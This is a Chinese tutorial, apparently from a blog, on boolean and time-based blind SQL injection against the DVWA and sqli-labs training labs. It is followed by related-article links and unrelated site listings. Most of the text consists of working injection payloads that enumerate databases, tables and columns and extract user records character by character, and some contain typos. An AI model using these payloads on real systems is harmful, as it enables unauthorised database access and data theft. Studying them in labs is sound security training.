SQL注入——盲注


SQL注入——盲注

  • SQL注入——盲注
  • 一、布尔型盲注
    • 1、判断
    • 2、盲注库名
    • 3、盲注表名
    • 4、盲注列名
    • 5、盲注数据
  • 时间型盲注
  • 总结

一、布尔型盲注

假如网站一定存在SQL注入,当注入SQL语句(1’ and 1=2#)之后,网站页面缺没有返回SQL语句执行结果,那这种SQL注入就属于盲注。
而当我们只能通过页面返回的结果的“是”与“否”来得到我们想要的信息就被叫做布尔型盲注。

1、判断

这里以DVWA为例:
后两条sql语句执行结果不一样可以判定为盲注,满足大部分场景。因为不能排除数据库中本来就有这两条数据,导致搜索结果不一致。此时需要引入第一条判断条件。

第一条和第二条的结果一样的时候,并且第二条和第三条结果不一样的时候才能判定为盲注。

1

1’ and 1=1#

1’ and 1=2#

2、盲注库名

显注构造语句后可以直接在页面上获得数据库名

1’ and 1=2 union select 1,schema_name from information_schema.schemata #

1、布尔型盲注首先需要我们知道有多少个数据库

1’ and (select count(schema_name) from information_schema.schemata)=6#

MYSQL数据库默认的information_schema库的schemata表的schema_name字段存储这数据库中的所有数据库的名字,通过这个此我们可以知道有多少个数据库。

2、我们需要知道第一个数据库名的长度

1’ and length((select schema_name from information_schema.schemata limit 0,1))=18#

limit(offset,rows)
offset:指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0。
rows:返回具体行数。
总结:如果limit后面是一个参数,就是检索前多少行。如果limit后面是2个参数,就是从offset+1行开始,检索rows行记录。

3、注入第一个库名

1’ and substring((select schema_name from information_schema.schemata limit 0,1),1,1)=‘i’ #
1’ and substring((select schema_name from information_schema.schemata limit 0,1),2,1)=‘n’ #

得到第一个库名为默认的information_schema

3、盲注表名

逻辑同上
1、查询库内有多少个表

1‘ and count(select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2#

2、查询库内第一个表名的长度

1’ and length((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1))=9 #

3、盲注表名

1’ and substring(select table_name from information_schema where tabe_schema =database() limit 0,1),1,1)=‘g’#

1’ and (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=‘u’ #

1’ and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=‘e’ #
依照此逻辑可以依次推出余下字符还有剩下的表

4、盲注列名

1、查询表内有多少个字段

1’ and (select count(column_name) from information_schema.columns where table_schema=database() and tabe_name=‘users’)=8#

2、判断每一个字段的长度

1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 0,1))=7#

1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1))=4#

1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 4,1))=8#

3、盲注字段名

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),1,1))=‘u’#

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),2,1))=‘s’#

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),3,1))=‘e’#

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),4,1))=‘r’#

5、盲注数据

1’ and (select count(*) from dvwa.users)=5# (判断列中有几条记录)

1’ and length(substr((select user from users limit 0,1),1))=5# (判断user这一列的第一条记录的长度是否为5)

1’ and substr((select user from users limit 0,1),1,1)=‘a’ # (判断user这一列的第一条记录的第一个字段是否为a)

1’ and substr((select user from users limit 0,1),2,1)=‘d’# (判断user这一列的第一条记录的第二个字段是否为d)

1’ and substr((select user from users limit 1,1),1,1)>‘g’# (判断user这一列的第二条记录的第一个字段ascii码值是否为大于g)

时间型盲注

我们以sqli-labs第九关为例
我们发现id=1和id=1’并没有明显区别,没有报错,也没有发现是与否的关系。


这种情况下就可以考虑盲注的另外一种形式,时间注入

时间盲注和布尔型盲注的区别在于,布尔型盲注通过页面的报错信息判断“是”与“否”,而时间型盲注利用==sleep()==函数让数据库的执行时间变长来判断“是”与“否”。
时间盲注多与if函数结合使用。如:if(a,b,c),此if语句的含义是,如果a为真则返回值为b,否则返回值为c。
如:

if(length(database())>1,sleep(5),1)

它的含义为,如果当前数据库名字符长度大于1,则执行sleep函数使数据库执行延迟,否则则返回1。
所以时间注入的本质也是布尔注入,只不过是用数据库是否延迟执行的方式来表达是与否的逻辑。

具体注入逻辑与布尔型盲注无区别只要把布尔型的payload带入if语句即可
即:

1’ and if($盲注语句,sleep(5),1)#

总结

时间型盲注的payload可以带入布尔型盲注和显注,布尔型盲注也可以带入显注,所以以后可以图方便只发现时间型盲注就可以了。


不想学辣,好累啊

SQL注入2——盲注(重学)相关推荐

  1. sql注入_1-4_post盲注

    sql注入_1-4_post盲注 一.post盲注概念 1.首先post盲注和get盲注一样,只是不会拼接到url中 2.post请求会向指定资源提交数据,请求服务器进行处理,如,表单提交,文件上传等 ...

  2. sql注入--布尔盲注

    sql注入–布尔盲注 靶场:sqli-labs-master 下载链接:靶场下载链接 第8关 盲注 php源码 <?php //including the Mysql connect param ...

  3. 【小迪安全】Day16web漏洞-SQL注入之盲注

    web漏洞-SQL注入之盲注 文章目录 web漏洞-SQL注入之盲注 前言 盲注类型 报错盲注 猜解数据库 猜解表 猜解字段 猜解内容 布尔盲注 猜解数据库 猜解表 猜解字段 猜解内容 延迟注入 前言 ...

  4. SQL注入-布尔盲注

    页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length('abc')  ...

  5. 【SQL注入-布尔盲注】

    SQL注入方法-布尔盲注 布尔盲注使用场景 案例演示 演示环境 源码分析 实际测试 使用布尔盲注猜解数据. 布尔盲注使用到的函数: 开始 布尔盲注使用场景 布尔型盲注应用于无数据回显,且WEB页面无报 ...

  6. 手动SQL注入(盲注)讲解

    由于很多人(特别是针对初学者)在百度查找相关的SQL盲注的文章时总感觉无法得到一篇很基础,很完整的文章,所以在这里讲解一篇完整的SQL注入文章 1 查找源码之家等网站进行下载一个网站, 在这里我下载的 ...

  7. SQL注入——布尔盲注,时间盲注,宽字节注入

    布尔盲注 1.布尔盲注利用前提 页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入 缺点:速度太慢,消耗大量时间 布尔盲注思维导图: 布尔盲注常用语句: su ...

  8. sql注入——布尔盲注

    场景 sql-labs中的 Less-8 一.主要运用的mysql语法: count()函数:统计查询结果的数量: length(str)函数:返回字符串 str的长度: left()函数: left ...

  9. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

最新文章

  1. 坚果pro2s7.0.1系统更新截图(订阅号长截图测试)PhotoScape图片编辑器应用
  2. 首届 KubeCon 2020 线上峰会隆重举办 | 云原生生态周报 Vol. 59
  3. linux c语言中如何通过进程名获取进程PID(awk命令行指令)popen、pclose
  4. GDCM:gdcm::Testing的测试程序
  5. navicat怎么安装mysql数据库_【20170825】从零开始学SQL数据库 安装mysql与navicat,开始练习...
  6. 构建Squid代理服务器-传统代理、透明代理、反向代理
  7. leetcode530. 二叉搜索树的最小绝对差
  8. Java压缩技术(七) TAR——Commons实现
  9. Apache JMeter 下载
  10. 用对 gitignore
  11. git新手配置(ios环境)
  12. 【React Native 实战】微信登录
  13. matlab2c使用c++实现matlab函数系列教程-polyder函数
  14. 单片机控制电机原理以及程序怎么写
  15. 【大数据部落】基于LDA主题模型聚类的商品评论文本挖掘
  16. 系统常用 Intent 合集
  17. 凯撒/摩斯/栅栏/维吉尼亚/元音密码加解密的Python实现
  18. WebRTC基本概念
  19. 如何将pdf中一些特定页提取存储在另一个pdf中
  20. 云队友丨新品牌的营销大战:砸进上百万,苦心博出圈

热门文章

  1. python turtle画小兔子图片_如何用Python画一只兔子——turtle库circle()画圆函数的详细用法介绍...
  2. 大学计算机基础超新星,计算机奠基
  3. oracle常用语法
  4. 2019最近计算机毕业设计-题目汇总大全-系列1
  5. 淘宝怎么设置微博一键直达 - 淘宝店铺装修入门教程①
  6. Deconvolution 反卷积 Transposed Convolution 转置卷积 Fractionally Strided Convolution
  7. 2022-08-15 学习笔记 day38-数据库概述
  8. 普元eos使用svn_进行中
  9. noteexpress删除标签_教你使用NoteExpress管理文献~写论文!
  10. 两条路径分散在树林中:使用JavaScript if ... else语句